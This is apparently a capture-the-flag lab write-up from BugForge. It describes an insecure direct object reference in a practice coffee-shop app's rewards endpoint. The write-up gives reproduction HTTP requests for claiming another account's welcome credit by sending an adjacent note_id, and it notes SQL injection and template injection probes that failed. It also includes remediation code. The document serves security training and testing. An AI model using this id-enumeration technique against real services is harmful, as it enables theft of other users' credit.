BugForge — 2026.11.07

CafeClub: Cross-User Welcome Credit Claim (Rewards IDOR)

BugForge Insecure Direct Object Reference (IDOR) easy

Executive Summary

CafeClub is a coffee storefront built on a React/MUI single-page frontend and an Express (Node.js) API, with authentication via an HS256 JWT bearer token held in localStorage. This rotation added a rewards feature: GET /api/rewards returns the account’s welcome credit note, and POST /api/rewards/claim accepts the note_id to claim in the request body. The claim endpoint verifies that a note has not been consumed before, but it never verifies that the note belongs to the account holding the token. An authenticated user who claims an adjacent note id receives another account’s welcome credit, minted to their own balance, and the response carries the flag.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Insecure direct object reference in POST /api/rewards/claim: a welcome credit note for another account can be claimed and minted to the caller’s balance High 7.1 CWE-639, CWE-285 POST /api/rewards/claim

The flag-bearing finding is F1. Claiming our own note (note_id 44556) paid £5.00 and established the baseline. Sending that request again was rejected with “This welcome credit note has already been claimed”, and the unissued ids probed returned 404. The adjacent id 44555 returned 200 with a flag field and minted the balance to £10.00. The replay rejection is the convincing part of this defect: it behaves like an authorization control while proving only that the note was consumed.


Objective

Identify and exploit the intended vulnerability in the CafeClub lab and recover the flag.


Scope / Initial Access

# Target Application
URL: https://lab-1794073843629-3eq0k6.labs-app.bugforge.io
# (ephemeral instance)

# Auth details
# Open registration: POST /api/register returns an HS256 JWT.
# Token claims: {id, username, iat}. Carried as Authorization: Bearer <jwt>.
# Test account: giftshop1 (id 5), role "user". Prices and balances in GBP; amounts in pence on the server.

Registration is open: any visitor can create an account and immediately hold a valid bearer token for the authenticated endpoints. The rewards endpoints require that token.


Reconnaissance: Fingerprinting the Rotation and Reading the New Rewards Surface

All traffic ran through the Caido proxy from the first request. The frontend ships a live source map (main.88cefd20.js.map, 2.6 MB, 460 sources), which exposed the client source and the full API map from the axios calls in the bundle. Facts that shaped the test plan:

  1. The bundle hash (main.88cefd20.js, md5 9297419c8985ef82b4fe5300cdf7f364) matched neither prior rotation, identifying this instance as variant cafeclub-012 (confirmed by the operator).
  2. The currency moved from EUR to GBP: the UI shows £ and “café credit”, and credit amounts are held in pence on the server.
  3. GET /api/rewards is new this rotation. It returns {"welcome_credit":{"note_id":44556,"amount":500,"claimed":false},"balance":0,"ledger":[]} for a fresh account: an unclaimed £5.00 welcome credit identified by note_id.
  4. POST /api/rewards/claim is the matching write, and its body is {"note_id": ...}. The frontend fills this from its own state (data.welcome_credit.note_id), so the request carries an object id the server could have derived from the session instead of accepting it from the client.
  5. A brand new account (id 5) receiving note_id 44556 points to a global counter over a shared notes table, not ids issued per account. Adjacent ids around our own were therefore the first probes worth sending.
  6. The engagement hint (“We all like gifts”) was treated as one theory, not a shortcut; the full surface map and the re-fire checks on prior winners ran before any rewards probing.
  7. Both winners from prior rotations were re-fired as cheap checks and were dead: the sort ORDER BY SQL injection from cafeclub-010 and the delivery_instructions template injection from cafeclub-011 (see Failed Approaches). This is the first rotation where the new-feature endpoint carries the bug.

The flag landed before full surface coverage. Checkout value manipulation (use_credit, points_to_use), the POST /api/favorites/:id verb, gift card purchase and redeem edge cases, and avatar handling were not tested this rotation. Whether unclaimed notes beyond the adjacent id can be claimed at scale was also not tested; only one foreign note was claimed.


Application Architecture

Component Detail
Backend Express (Node.js) JSON API
Frontend React / MUI single-page app (bundle main.88cefd20.js, live source map)
Auth HS256 JWT bearer in localStorage.token; claims {id, username, iat}, no exp
Currency GBP; credit amounts held in pence on the server

API Surface

Endpoint Method Auth Notes
/api/register POST No Open registration, returns JWT
/api/rewards GET Yes Returns welcome_credit {note_id, amount, claimed}, balance, ledger
/api/rewards/claim POST Yes Body {note_id} from the client; mints the credit to the caller’s balance
/api/checkout POST Yes Body now carries use_credit and points_to_use (not tested this rotation)

The remaining endpoints (products, cart, orders, favorites, gift cards, profile) are unchanged from prior rotations; the full map came from the bundle source.

Known Users

Username ID Role
giftshop1 5 user

Attack Chain Visualization

┌───────────────────────┐   ┌────────────────────────────┐   ┌──────────────────────────────┐   ┌───────────────────────────────────┐
│ 1. POST /api/register │   │ 2. GET /api/rewards        │   │ 3. POST /api/rewards/claim   │   │ 4. POST /api/rewards/claim        │
│ open registration     │──▶│ own welcome credit note:   │──▶│ note_id 44556 (our own note) │──▶│ note_id 44555 (adjacent id,       │
│ → JWT (id 5)          │   │ note_id 44556, amount 500  │   │ → 200, £5.00 balance         │   │ below ours) → 200, flag, £10.00   │
└───────────────────────┘   └────────────────────────────┘   └──────────────────────────────┘   └───────────────────────────────────┘

Findings

F1: Insecure direct object reference in POST /api/rewards/claim

Severity: High CVSS v3.1: 7.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N) CWE: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-285 (Improper Authorization) Endpoint: POST /api/rewards/claim Authentication required: Yes

Description

The claim endpoint accepts the note_id of the welcome credit note to consume in the request body, and it mints the note’s value to the balance of the account holding the token without ever checking that the note belongs to that account. Two mechanisms combine:

  1. The object id is client controlled. note_id arrives in the request body. The server already knows which welcome credit belongs to the authenticated account (its own GET /api/rewards response is scoped that way), so the id is a value the server could have derived from the session.
  2. The only guard on the note is a consumption flag. Claiming a note a second time returns 400 "This welcome credit note has already been claimed." That check tracks whether the note was consumed. It is not an ownership check, and the two are independent: a note can be unclaimed and still belong to someone else.

The probe battery showed only issued notes resolve: ids above ours (44557), 999999, 0, and -1 all returned 404, while the adjacent id below ours (44555) returned 200 with the flag. That our own fresh registration drew 44556, and that the winning id sits immediately below it, indicates a global counter over a shared notes table. Which account 44555 originally belonged to is an inference from that id sequence, not an observed fact; the flag in the response confirms the note was not ours regardless.

Impact

An authenticated user can claim a welcome credit note belonging to another account and have its value minted to their own balance.

Reproduction

Starting state: a freshly registered account holding a bearer token.

Step 1: Register and obtain a token

POST /api/register HTTP/1.1
Host: lab-1794073843629-3eq0k6.labs-app.bugforge.io
Content-Type: application/json

{"username":"giftshop1","email":"[email protected]","password":"Passw0rd!123","full_name":"Gift Shopper","address":"1 Bean Lane, London","phone":"020 7946 0001"}

Response: 200 OK with {"token":"eyJ...","user":{"id":5,"username":"giftshop1","points":0,"role":"user",...}}. The token is carried in Authorization: Bearer on the following requests.

Step 2: Read the account’s welcome credit

GET /api/rewards HTTP/1.1
Host: lab-1794073843629-3eq0k6.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response: 200 OK {"welcome_credit":{"note_id":44556,"amount":500,"claimed":false},"balance":0,"ledger":[]}. Our note id is 44556 and the amount is 500 pence (£5.00). A brand new account holding 44556 is what marks the counter as global.

Step 3: Claim our own note (baseline)

POST /api/rewards/claim HTTP/1.1
Host: lab-1794073843629-3eq0k6.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{"note_id":44556}

Response: 200 OK {"message":"£5.00 welcome credit added to your account.","amount":500,"note_id":44556,"balance":500,"balance_display":"£5.00"}. This establishes that the endpoint works and records what a legitimate claim looks like.

Step 4: Probe the boundary around our id

Sent against the same session, one request per id:

note_id Result
44556 400 {"error":"This welcome credit note has already been claimed."} (replay of Step 3)
44557 404 not found
999999 404 not found
0 404 not found
-1 404 not found

Only issued notes resolve. The replay rejection proves a consumption guard exists; it says nothing about who may claim an unclaimed note.

Step 5: Claim the adjacent id below ours

POST /api/rewards/claim HTTP/1.1
Host: lab-1794073843629-3eq0k6.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{"note_id":44555}

Response: 200 OK (captured verbatim from the first exchange):

{"message":"£5.00 welcome credit added to your account.","amount":500,"note_id":44555,"balance":1000,"balance_display":"£10.00","flag":"bug{DyHgDDT0z7FQQhZusC2tAIcKm88WkUhn}"}

The claim succeeded against a note our account did not own, the £5.00 minted on top of our existing balance, and the response carried the flag.

Step 6: Corroborate consumption

Re-issuing the Step 5 request returned 400 {"error":"This welcome credit note has already been claimed."}. A consuming request is not replayable, so this re-issue is corroboration that the note was really consumed, not the evidence; the original response above was captured from the first exchange.

Remediation

Fix 1: Derive the note from the session instead of accepting it from the client. The server knows which welcome credit belongs to the authenticated account; the request does not need to name it.

// BEFORE (Vulnerable): the client chooses which credit note to claim
router.post('/api/rewards/claim', auth, async (req, res) => {
  const note = await CreditNote.findByPk(req.body.note_id);
  if (!note) return res.status(404).json({ error: 'Welcome credit note not found' });
  if (note.claimed) {
    return res.status(400).json({ error: 'This welcome credit note has already been claimed.' });
  }
  note.claimed = true;
  await account.addCredit(note.amount);
  // ...
});

// AFTER (Secure): the note is looked up by ownership, not by the id from the request body
router.post('/api/rewards/claim', auth, async (req, res) => {
  const note = await CreditNote.findOne({
    where: { userId: req.user.id, claimed: false }
  });
  if (!note) return res.status(404).json({ error: 'No unclaimed welcome credit for this account' });
  note.claimed = true;
  await account.addCredit(note.amount);
  // ...
});

Fix 2: If an id from the request body must be accepted, scope the lookup by ownership. The consumption check stays; the ownership condition joins it in the same query so neither can be satisfied without the other.

// AFTER (Secure): ownership and consumption checked together
const note = await CreditNote.findOne({
  where: { id: req.body.note_id, userId: req.user.id }
});
if (!note) return res.status(404).json({ error: 'Welcome credit note not found' });
if (note.claimed) {
  return res.status(400).json({ error: 'This welcome credit note has already been claimed.' });
}

Additional recommendations:

  • Treat consumption state and authorization as independent requirements in review and in tests. A clean rejection on replay is easy to demonstrate and proves nothing about ownership; the two checks need separate test cases.
  • Sequential global ids for objects owned by individual accounts made the guess of the adjacent id trivial. Unpredictable identifiers would have slowed enumeration, though they are not a substitute for the ownership check.
  • These fixes are inferred from observed behavior; we do not have the application source.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: The claim endpoint accepts an object id in the request body and mints value against it without verifying the object belongs to the authenticated account, which is a direct object reference bypass.
  • A04:2021 Insecure Design: An endpoint that mints credit while trusting an object id supplied by the client, guarded only by a consumption flag, is a design gap in the rewards feature itself.

Tools Used

Tool Purpose
Caido Proxy capture of every exchange from the first request; source of the verbatim request and response bytes; kill-chain export
curl Registration and claim requests through the proxy

References


Failed Approaches

Approach Result Why It Failed
ORDER BY SQL injection in GET /api/products?sort (cafeclub-010 winner) ?sort=(SELECT name) was inconclusive because the default order was already alphabetical; ?sort=zzzinvalidcol returned a clean 200 with the default order An invalid column no longer produces an error, so the raw concatenation is gone and the parameter falls back silently. One discriminating invalid-value probe settled it.
Template injection in delivery_instructions (cafeclub-011 winner) Checkout accepted the field and order 4 was placed, but GET /api/orders/4/invoice returned the SPA catchall HTML The invoice route was removed this rotation, so the render sink is gone even though checkout still stores the field.
OPTIONS sweep across the API for untested verbs Uniform CORS reflect (GET, HEAD, PUT, PATCH, POST, DELETE) on every route No Allow-header differential anywhere; the sweep produced no verb signal.

Tags: #idor #broken-access-control #bugforge #cafeclub #webapp #cwe-639 Document Version: 1.0 Last Updated: 2026-11-07

#idor #broken-access-control #business-logic #nodejs #express #bugforge